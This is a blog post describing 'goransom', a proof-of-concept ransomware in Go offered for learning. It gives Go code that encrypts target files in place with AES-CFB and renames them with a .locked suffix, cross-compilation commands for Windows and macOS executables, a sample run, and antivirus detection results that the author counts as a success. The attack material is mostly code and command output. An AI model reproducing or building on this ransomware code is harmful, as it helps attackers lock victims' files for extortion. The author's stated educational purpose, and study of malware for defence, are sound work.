Proof of concept of a ransowmare in Go

Introduction

This is a blog post about my last project: goransom, which is a proof of concept for a simple ransowmare written in Go. The purpose of the project is purely educative; I wanted to get a bit more familiar with the language and its patterns.

I am not responsible for the use you make of this tool. Do not use it on systems where you don’t have the permission of the owner.

Background

Ransomware is a particular type of malware which encrypts the victim’s files and threatens to publish the data or prevent them from accessing the files, unless a ransom is paid. In the last years, ransomware began to represent a serious threat, especially for business. Some of the most famous cases of ransomware attacks are: WannaCry, CryptoLocker and Locky.

While developing an actual ransomware is far from being an easy task, I decided to create a proof of concept with Go to have fun and learn something new.

Go makes it easy to write malware for different reasons. Firstly, it works nearly everywhere: thanks to cross-compilation, we can write code in Go and use it to obtain an executable for all the most common architectures. Go also has a strong community, with a lot of libraries available. Lastly, it is quite easy to learn and to read, which allows malware programmers to re-engineer the code without too many hassles in case the executable gets detected by anti-viruses.

Technical details

Being a proof of concept, goransom won’t automatically start to encrypt the full hard drive. We don’t want to cause trouble here.

Instead, the program allows to specify in input the path of the target file or folder to encrypt. goransom also requires a secret string to be provided, this is going to be used to derive the key for encrypting the files.

After the files are successfully encrypted, they will have a .locked suffix in the filename. In order to get the original files back, the -decrypt flag can be used, specifying the target files we want to decrypt and the secret which was used for the encryption.

Key generation, encryption and decryption

goransom encrypts and decrypts the given files using AES block cipher, specifically with cipher feedback (CFB) mode of operation. Discussing which cipher and mode of operation works better for a ransomware is outside of scope for this post, but it has to be noted that many other options are available in the crypto package and its subdirectories.

Go makes THIS super easy! Pic from Wikipedia

Go makes THIS super easy! Pic from Wikipedia

Since AES allows three different key lengths: 128, 192 and 256, I decided to go for the 256-bits key, which can be obtained from a sha256 hash of the secret string given in input. Here is how the key derivation function looks like:

// given a secret returns the sha256 hash
// used for encryption/decryption
func DeriveKey(secret string)[32]byte{
    return sha256.Sum256([]byte(secret))
}

The encryption function is called for every file which has to be encrypted; it reads the content of the file and use it as a plaintext for our cipher.

The initialization vector (IV) is used by many modes of operation to randomize the encryption and produce different ciphertexts when plaintext and key are the same. The security requirements of the IV are different from the ones of the key: the IV needs to be unique, but it does not need to be a secret. It is therefore quite common to include it at the beginning of the ciphertext.

// open the given file
data, err := ioutil.ReadFile(filePath)
if err != nil {
    panic(err)
}

// create AES CFB cipher
block, err := aes.NewCipher(secretKey)
if err != nil {
    panic(err)
}

// The IV needs to be unique, but not secure. therefore it's common to
// include it at the beginning of the ciphertext.
// See here: https://golang.org/pkg/crypto/cipher/
ciphertext := make([]byte, aes.BlockSize+len(data))
iv := ciphertext[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
    panic(err)
}

stream := cipher.NewCFBEncrypter(block, iv)
stream.XORKeyStream(ciphertext[aes.BlockSize:], data)

// write the ciphertext in the file
ioutil.WriteFile(filePath,ciphertext,0644)

A ".locked" suffix is then appended to the filename.

The decryption works in a similar way: the content of the locked file is used as a ciphertext. Part of this code is taken directly form the documentation of the crypto/cipher package.

// open the given file
ciphertext, err := ioutil.ReadFile(filePath)
if err != nil {
    panic(err)
}

// create AES CFB cipher
block, err := aes.NewCipher(secretKey)
if err != nil {
    panic(err)
}

// The IV needs to be unique, but not secure. Therefore it's common to
// include it at the beginning of the ciphertext.
// See here: https://golang.org/pkg/crypto/cipher/
if len(ciphertext) < aes.BlockSize {
    panic("ciphertext too short")
}

iv := ciphertext[:aes.BlockSize]
ciphertext = ciphertext[aes.BlockSize:]

stream := cipher.NewCFBDecrypter(block, iv)
stream.XORKeyStream(ciphertext, ciphertext)

// write the plaintext in the file
ioutil.WriteFile(filePath,ciphertext,0644)

After the decryption, the .locked suffix is removed from the filename, which - if the decryption worked correctly - should now contain the original file.

Compile for multiple architectures

I already mentioned how useful the cross-compilation is, but examples were not provided, so here they are.

Assuming we have our copy of goransom, if we want to build it for our architecture and OS, it is enough to use:

$ go build goransom.go
$ file goransom
goransom: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=aWuhsabAbd9um74h1Lud/gZHBAWcx_U9xYPmr8YQ-/j2tKdv2LtApZOqZSW7qb/QmkfvEG1dwo6BWtKUA5x, not stripped

A goransom executable will be created, which can be launched as usual. However, if we want to compile the same code for different OSes and architecture, things are not much more complicated.

Here is how to get a Windows executable on Linux:

$ GOOS=windows GOARCH=386 go build -o goransom.exe goransom.go
$ file goransom.exe
goransom.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

and this is the process for MacOS:

$ GOOS=darwin GOARCH=amd64 go build ransom.go
$ file goransom
goransom: Mach-O 64-bit x86_64 executable

A first run

This section provides just an example of how to run goransom on Linux. Assuming we have the following structure:

$ tree
.
├── goransom
└── folder
    └── textfile

$ cat folder/textfile
THIS IS A SUPER IMPORTANT FILE, PLEASE DONT TAKE IT AWAY FROM ME

Now goransom will be used to encrypt all the files in folder using supersecret as a secret:

$ ./goransom -secret supersecret -target folder
Operating on folder
Operating on folder/textfile

textfile is now encrypted and has been renamed textfile.locked.

$ tree
.
├── goransom
└── folder
    └── textfile.locked

$ cat folder/textfile.locked
�C4�w��i�G⛘]+�~O(�@f1
                     �<
                       �0k><�ZlEV&yj��;)[1m%

Assuming other files were in the folder they would be locked as well, since the entire folder was specified as a target for goransom.

Decrypting the file is quite easy: just repeat the command for the encryption (same target and same secret) and append the -decrypt command:

$ ./goransom -secret supersecret -target folder -decrypt
Operating on folder
Operating on folder/textfile.locked

$ tree
.
├── goransom
└── folder
    └── textfile

$ cat folder/textfile
THIS IS A SUPER IMPORTANT FILE, PLEASE DONT TAKE IT AWAY FROM ME
It works in the same way in Windows 10

It works in the same way in Windows 10

Detection

While I was testing goransom on Windows 10, I had the issue that Windows Security complained about it:

Windows Security doesn&rsquo;t like goransom

Windows Security doesn’t like goransom

So I uploaded three different goransom executables on VirusTotal, to see if they are detected. Here are the results:

goransom for Windows on VirusTotal

goransom for Windows on VirusTotal

goransom for Linux on VirusTotal

goransom for Linux on VirusTotal

goransom for macOs on VirusTotal

goransom for macOs on VirusTotal

The Windows version is the only one which is considered malicious, since 43 (!!) engines flagged it. Please note that the source code which was used to compile the three executables is exactly the same. Also, one of the functions in goransom is called ransomware, which may be the reason why some engines flags the Windows executable.

Unfortunately goransom cannot be readily tested against public sandboxes, as it requires an input to be executed properly. I am not aware of online tools which allow this level of interaction with an executable, but if you know some, please let me know. It would be interesting to see the outcome.

Conclusion

goransom was super fun and relatively easy to make. The crypto package and the goroutines allow the code to be easy to read and efficient.

There are a number of improvements which could be added, but, in the end, I consider the proof of concept successful as it is. And the fact that VirusTotal and Microsoft Security do not like goransom makes it even more successful.

You can find goransom on my GitHub, let me know if you have suggestions or tips to improve the quality and structure of the code.

If you are looking for other proof of concept of ransomware written in Go, check out these projects: